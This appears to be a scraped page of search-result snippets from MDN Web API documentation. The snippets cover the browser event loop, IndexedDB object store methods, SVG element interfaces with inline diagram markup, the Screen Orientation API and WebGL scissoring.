Web browsers has gradually advanced to include powerful features that enable scheduling of tasks, multi-threaded application development, and so forth. To understand where queueMicrotask() comes into play here, it's helpful to understand how the JavaScript runtime operates when scheduling and running code. JavaScript ex...
...ue to that agent. Here we look at how the runtime functions in slightly more detail. Event loops Each agent is driven by an event loop, which collects any user and other events, enqueuing tasks to handle each callback. It then runs any pending JavaScript tasks, then any pending microtasks, then performs any needed rendering and painting before looping again to check for pending tasks. Your
web site or app's code runs in the same thread, sharing the same event loop, as the user interface of the
web browser itself. This is the main thread, and in addition to running your site's main code body, it handles receiving and dispatching user and other events, rendering and painting
web content, and so forth. The event loop, then, drives everything that happens in the browser as it pertains to ...
...of code that runs within its thread. There are three types of event loop: Window event loop The window event loop is the one that drives all of the windows sharing a similar origin (though there are further limits to this as described elsewhere in this article XXXX ????). Worker event loop A worker event loop is one which drives a worker; this includes all forms of workers, including basic
web workers, shared workers, and service workers. Workers are kept in one or more agents that are separate from the "main" code; the browser may use a single event loop for all of the workers of a given type or may use multiple event loops to handle them. Worklet event loop A worklet event loop is the event loop used to drive agents which run the code for the workelets for a given agent. This inclu...
...And 4 more matches
IDBEnvironment - Web APIs
y defined in this mixin is instead now WindowOrWorkerGlobalScope.indexedDB (that is, defined as a member of the WindowOrWorkerGlobalScope mixin). The IDBEnvironment helper of the IndexedDB API contains the indexedDB property, which provides access to IndexedDB functionality. It is the top level IndexedDB interface implemented by the window and Worker objects. Note: This feature is available in
Web Workers. Properties IDBEnvironment.indexedDB Read only Provides a mechanism for applications to asynchronously access capabilities of indexed databases; contains an IDBFactory object. Example The following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function openDB() { var DB...
....indexedDB.open("toDoList"); DBOpenRequest.onsuccess = function(e) { db = DBOpenRequest.result; }; } Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...geFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetIDBEnvironment DeprecatedNon-standardChrome Full support 24 Full support 24 No support 23 -- 57Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
...And 4 more matches
IDBObjectStore.add() - Web APIs
ess event is only triggered when the transaction has been successfully queued. The add method is an insert only method. If a record already exists in the object store with the key parameter as its key, then an error ConstrainError event is fired on the returned request object. For updating existing records, you should use the IDBObjectStore.put method instead. Note: This feature is available in
Web Workers. Syntax var request = objectStore.add(value); var request = objectStore.add(value, key); Parameters value The value to be stored. key Optional The key to use to identify the record. If unspecified, it results to null. Returns An IDBRequest object on which subsequent events related to this operation are fired. Exceptions This method may raise a DOMException of one of the fol...
... Indexed Database API DraftThe definition of 'add()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ll request. ...
...And 4 more matches
IDBObjectStore.autoIncrement - Web APIs
Syntax var myAutoIncrement = objectStore.autoIncrement; Value A Boolean: Value Meaning true The object store auto increments. false The object store does not auto increment. ...
...ed Database API DraftThe definition of 'autoIncrement' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
.... ...
...And 4 more matches
IDBObjectStore.clear() - Web APIs
ars this object store in a separate thread. This is for deleting all the current data out of an object store. Clearing an object store consists of removing all records from the object store and removing all records in indexes that reference the object store. To remove only some of the records in a store, use IDBObjectStore.delete passing a key or IDBKeyRange. Note: This feature is available in
Web Workers. Syntax var request = objectStore.clear(); Returns An IDBRequest object on which subsequent events related to this operation are fired. Exceptions This method may raise a DOMException of one of the following types: Exception Description ReadOnlyError The transaction associated with this operation is in read-only mode. TransactionInactiveError ...
... Indexed Database API DraftThe definition of 'clear()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
...And 4 more matches
IDBObjectStore.count() - Web APIs
The count() method of the IDBObjectStore interface returns an IDBRequest object, and, in a separate thread, returns the total number of records that match the provided key or IDBKeyRange. If no arguments are provided, it returns the total number of records in the store. Note: This feature is available in
Web Workers. Syntax var request = ObjectStore.count(); var request = ObjectStore.count(query); Parameters query Optional A key or IDBKeyRange object that specifies a range of records you want to count. Return value An IDBRequest object on which subsequent events related to this operation are fired. Exceptions This method may raise a DOMException of one of the following types: Exception Description InvalidStateError This IDBObjectStore has been del...
... Indexed Database API DraftThe definition of 'count()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
...And 4 more matches
IDBObjectStore.createIndex() - Web APIs
mn defining a new data point for each database record to contain. Bear in mind that IndexedDB indexes can contain any JavaScript data type; IndexedDB uses the structured clone algorithm to serialize stored objects, which allows for storage of simple and complex objects. Note that this method must be called only from a VersionChange transaction mode callback. Note: This feature is available in
Web Workers. Syntax var myIDBIndex = objectStore.createIndex(indexName, keyPath); var myIDBIndex = objectStore.createIndex(indexName, keyPath, objectParameters); Parameters indexName The name of the index to create. Note that it is possible to create an index with an empty name. keyPath The key path for the index to use. Note that it is possible to create an index with an empty keyPath, and...
...xed Database API DraftThe definition of 'createIndex()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...st. ...
...And 4 more matches
IDBObjectStore.delete() - Web APIs
Either a key or an IDBKeyRange can be passed, allowing one or multiple records to be deleted from a store. To delete all records in a store, use IDBObjectStore.clear. Bear in mind that if you are using a IDBCursor, you can use the IDBCursor.delete() method to more efficiently delete the current record -- without having to explicitly look up the record's key. Note: This feature is available in
Web Workers. Syntax var request = objectStore.delete(Key); var request = objectStore.delete(KeyRange); Parameters Key The key of the record to be deleted, or an IDBKeyRange to delete all records with keys in range. Return value An IDBRequest object on which subsequent events related to this operation are fired. The request.result attribute is set to undefined. Exceptions This method ma...
...Indexed Database API DraftThe definition of 'delete()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...request. ...
...And 4 more matches
IDBObjectStore.deleteIndex() - Web APIs
The deleteIndex() method of the IDBObjectStore interface destroys the index with the specified name in the connected database, used during a version upgrade. Note that this method must be called only from a VersionChange transaction mode callback. Note that this method synchronously modifies the IDBObjectStore.indexNames property. Note: This feature is available in
Web Workers. Syntax objectStore.deleteIndex(indexName); Parameters indexName The name of the existing index to remove. Return value undefined Exceptions This method may raise a DOMException of one of the following types: Exception Description InvalidStateError Occurs if the method was not called from a versionchange transaction mode callback. TransactionInactiveError Occurs ...
...ed Database API DraftThe definition of 'deleteIndex()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...st. ...
...And 4 more matches
IDBObjectStore.get() - Web APIs
f it is created and set as the result of the request object. Note: This method produces the same result for: a) a record that doesn't exist in the database and b) a record that has an undefined value. To tell these situations apart, call the openCursor() method with the same key. That method provides a cursor if the record exists, and no cursor if it does not. Note: This feature is available in
Web Workers. Syntax var request = objectStore.get(key); Parameters key The key or key range that identifies the record to be retrieved. Return value An IDBRequest object on which subsequent events related to this operation are fired. Exceptions This method may raise a DOMException of one of the following types: Exception Description TransactionInactiveError Th...
... Indexed Database API DraftThe definition of 'get()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ll request. ...
...And 4 more matches
IDBObjectStore.index() - Web APIs
Syntax var index = objectStore.index(name); Parameters name The name of the index to open. Return value An IDBIndex object for accessing the index. ...
... Indexed Database API DraftThe definition of 'index()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
...And 4 more matches
IDBObjectStore.indexNames - Web APIs
Syntax var myindexNames = objectStore.indexNames; Value A DOMStringList. Example In the following code snippet, we open a read/write transaction on our database and add some data to an object store using add(). After the object store has been created, we log objectStore.indexNames to the console. ...
...dexed Database API DraftThe definition of 'indexNames' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...est. ...
...And 4 more matches
IDBObjectStore.keyPath - Web APIs
Syntax var mykeyPath = objectStore.keyPath; Value Any value type. Example In the following code snippet, we open a read/write transaction on our database and add some data to an object store using add(). After the object store has been created, we log objectStore.keyPath to the console. ...
... Indexed Database API DraftThe definition of 'keyPath' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...equest. ...
...And 4 more matches
IDBObjectStore.openCursor() - Web APIs
The openCursor() method of the IDBObjectStore interface returns an IDBRequest object, and, in a separate thread, returns a new IDBCursorWithValue object. Used for iterating through an object store with a cursor. To determine if the add operation has completed successfully, listen for the results's success event. Note: This feature is available in
Web Workers. Syntax var request = ObjectStore.openCursor(); var request = ObjectStore.openCursor(query); var request = ObjectStore.openCursor(query, direction); Parameters query Optional A key or IDBKeyRange to be queried. If a single valid key is passed, this will default to a range containing only that key. If nothing is passed, this will default to a key range that selects all the records in this object store. direction Optional An ...
...xed Database API DraftThe definition of 'openCursor()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...est. ...
...And 4 more matches
IDBObjectStore.put() - Web APIs
t method is an update or insert method. See the IDBObjectStore.add method for an insert only method. Bear in mind that if you have a IDBCursor to the record you want to update, updating it with IDBCursor.update() is preferable to using IDBObjectStore.put(). Doing so makes it clear that an existing record will be updated, instead of a new record being inserted. Note: This feature is available in
Web Workers. Syntax let request = objectStore.put(item); let request = objectStore.put(item, key); Parameters item The item you wish to update (or insert). key Optional The primary key of the record you want to update (e.g. from IDBCursor.primaryKey). This is only needed for object stores that have an autoIncrement primary key, therefore the key is not in a field on the record object. In suc...
... Indexed Database API DraftThe definition of 'put()' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ll request. ...
...And 4 more matches
IDBObjectStore.transaction - Web APIs
Syntax var myTransaction = objectStore.transaction; Value An IDBTransaction object. Example In the following code snippet, we open a read/write transaction on our database and add some data to an object store using add(). After the object store has been created, we log objectStore.transaction to the console. ...
...exed Database API DraftThe definition of 'transaction' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...st. ...
...And 4 more matches
IDBOpenDBRequest.onblocked - Web APIs
Syntax IDBOpenDBRequest.onblocked = function(event) { ... ...
...dexed Database API DraftThe definition of 'onblocked' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...uest. ...
...And 4 more matches
IDBOpenDBRequest.onupgradeneeded - Web APIs
the IDBOpenDBRequest interface is the event handler for the upgradeneeded event, triggered when a database of a bigger version number than the existing stored database is loaded. The event passed to the listener is an IDBVersionChangeEvent. Inside the event handler function you can include code to upgrade the database structure, as shown in the example below. Note: This feature is available in
Web Workers. Syntax IDBOpenDBRequest.onupgradeneeded = function(event) { ... }; Example In the following example you can see the onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded. For a full working example, see our To-do Notifications app (view example live.) var db; // Request version 3 of the database. var request = wind...
...Database API DraftThe definition of 'onupgradeneeded' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetonupgradeneededChrome Full support 24 Full support 24 No support 23 -- 57Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support 12Firefox Full support 16 Full support 16 No support 10 -- 16Prefixed Prefixed Implemented with the vendor prefix: mozIE Partial support 10Opera Full support ...
...And 4 more matches
IDBTransaction.db - Web APIs
Syntax var myDatabase = transaction.db; Value An IDBDatabase object. Example In the following code snippet, we open a read/write transaction on our database and add some data to an object store. Note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. At the end, we return the associated database connection using db. ...
... Indexed Database API DraftThe definition of 'db' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ull request. ...
...And 4 more matches
IDBVersionChangeEvent.oldVersion - Web APIs
Syntax var oldVersion = IDBVersionChangeEvent.oldVersion Value A 64-bit integer. ...
...dexed Database API DraftThe definition of 'oldVersion' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...est. ...
...And 4 more matches
Metadata - Web APIs
Entries API Draft Draft of proposed API This API has no official W3C or WHATWG specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...us a pull request. ...
...n-standardChrome Full support 13Prefixed Full support 13Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support <=79Prefixed Full support <=79Prefixed Prefixed Implemented with the vendor prefix:
webkitFirefox No support NoIE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android Full support ...
...And 4 more matches
OES_fbo_render_mipmap - Web APIs
Examples See the sample code in the Khronos specification. ...
... Examples See the sample code in the Khronos specification. ...
... Examples See the sample code in the Khronos specification. ...
...And 4 more matches
SVGEllipseElement - Web APIs
ent interface provides access to the properties of <ellipse> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
SVGLineElement - Web APIs
properties of <line> elements, as well as methods to manipulate them. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
SVGPathElement - Web APIs
The SVGPathElement interface corresponds to the <path> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
SVGPolygonElement - Web APIs
operties of <polygon> elements, as well as methods to manipulate them. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
SVGPolylineElement - Web APIs
perties of <polyline> elements, as well as methods to manipulate them. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
SVGRectElement - Web APIs
properties of <rect> elements, as well as methods to manipulate them. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
SVGTextPathElement - Web APIs
he SVGTextPathElement interface corresponds to the <textPath> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
SVGTextPositioningElement - Web APIs
s inherited by SVGTextElement, SVGTSpanElement, SVGTRefElement and SVGAltGlyphElement. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 4 more matches
ScreenOrientation - Web APIs
IThe definition of 'ScreenOrientation' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...entationChrome Full support 38Edge Full support 79Firefox Full support 43IE No support NoOpera Full support 25Safari No support No
WebView Android Full support 38Chrome Android Full support 38Firefox Android Full support 43Opera Android Full support 25Safari iOS No support NoSamsung Internet Android ...
...3.0angleChrome Full support 38Edge Full support 79Firefox Full support 43IE No support NoOpera Full support 25Safari No support No
WebView Android Full support 38Chrome Android Full support 38Firefox Android Full support 43Opera Android Full support 25Safari iOS No support NoSamsung Internet Android ...
...And 4 more matches
Screen Orientation API - Web APIs
omment Screen Orientation API Working Draft Initial definition. Browser Compatibility ScreenOrientation The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...entationChrome Full support 38Edge Full support 79Firefox Full support 43IE No support NoOpera Full support 25Safari No support No
WebView Android Full support 38Chrome Android Full support 38Firefox Android Full support 43Opera Android Full support 25Safari iOS No support NoSamsung Internet Android ...
...3.0angleChrome Full support 38Edge Full support 79Firefox Full support 43IE No support NoOpera Full support 25Safari No support No
WebView Android Full support 38Chrome Android Full support 38Firefox Android Full support 43Opera Android Full support 25Safari iOS No support NoSamsung Internet Android ...
...And 4 more matches
Basic scissoring - Web APIs
Scissoring establishes a clipping region outside which drawing will not occur. Clearing the drawing buffer when scissoring applies This is a simple demonstration of a rendering with scissor(). Although the clear() drawing command writes the clear color (set by clearColor()) to all pixels in the drawing buffer, scissor() defines a mask that only allows pixels inside the specified rectangular area to be updated. This is a good opportunity to talk about the difference between pixels and fragments. ...
